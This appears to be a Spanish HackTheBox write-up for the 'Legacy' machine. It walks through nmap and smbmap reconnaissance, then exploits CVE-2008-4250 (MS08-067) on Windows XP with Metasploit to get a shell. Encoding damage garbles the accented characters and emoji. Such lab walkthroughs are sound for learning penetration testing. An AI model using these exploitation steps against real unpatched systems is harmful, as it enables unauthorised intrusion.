> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/legacy.md).
# Legacy
鉁嶏笍 Autor: ch4p 馃攳 Dificultad: F谩cil 馃搮 Fecha de creaci贸n: 10/10/2017
### 馃攳 RECONOCIMIENTO
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 10.10.10.4
```
para verificar la conectividad de red.
A continuaci贸n, realizamos el comando:
```bash
nmap -sC -sV 10.10.10.4
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Durante el escaneo se identificaron los siguientes puertos abiertos:
* **Puerto 135 (MS RPC):** Este puerto es utilizado para la comunicaci贸n de servicios como DCOM y MSRPC. Puede ser vulnerable a exploits si no est谩 debidamente asegurado. Puedes buscar si hay alguna versi贸n vulnerable de MSRPC, como las que se vieron con ataques como MS08-067.
* **Puerto 139 y 445 (SMB):** Ambos puertos est谩n asociados a servicios de compartici贸n de archivos y recursos en redes Windows. Los vectores de ataque conocidos incluyen ataques de SMB Relay y exploits como EternalBlue (CVE-2017-0144). Es recomendable realizar un escaneo de vulnerabilidades para verificar si estos puertos son accesibles desde fuera y si est谩n expuestos a vulnerabilidades conocidas.
A continuaci贸n, se proceder谩 a analizar cada uno de estos servicios en busca de posibles vectores de ataque.
### 馃攷 EXPLORACI脫N
Se utiliza el comando:
```bash
sudo nmap -sCV -p135,139,445 -v 10.10.10.4
```
para que nos proporcione m谩s informaci贸n sobre esos puertos espec铆ficamente.
Miramos el protocolo SMB.
```bash
smbmap -H 10.10.10.4
```
No vemos nada. Revisamos si tiene un CVE.
### 馃殌 **EXPLOTACI脫N**
Al ser un Windows XP y revisando por internet encontramos que hay un **CVE-2008-4250** por lo que abrimos Metasploit para explotarlo.
```bash
search CVE-2008-4250
use 0
show options
set RHOSTS 10.10.10.4
set LHOST 10.10.14.7
```
### 馃攼 **PRIVILEGIOS**
Al estar dentro y ejecutar:
```bash
getuid
```
Somos **root**.
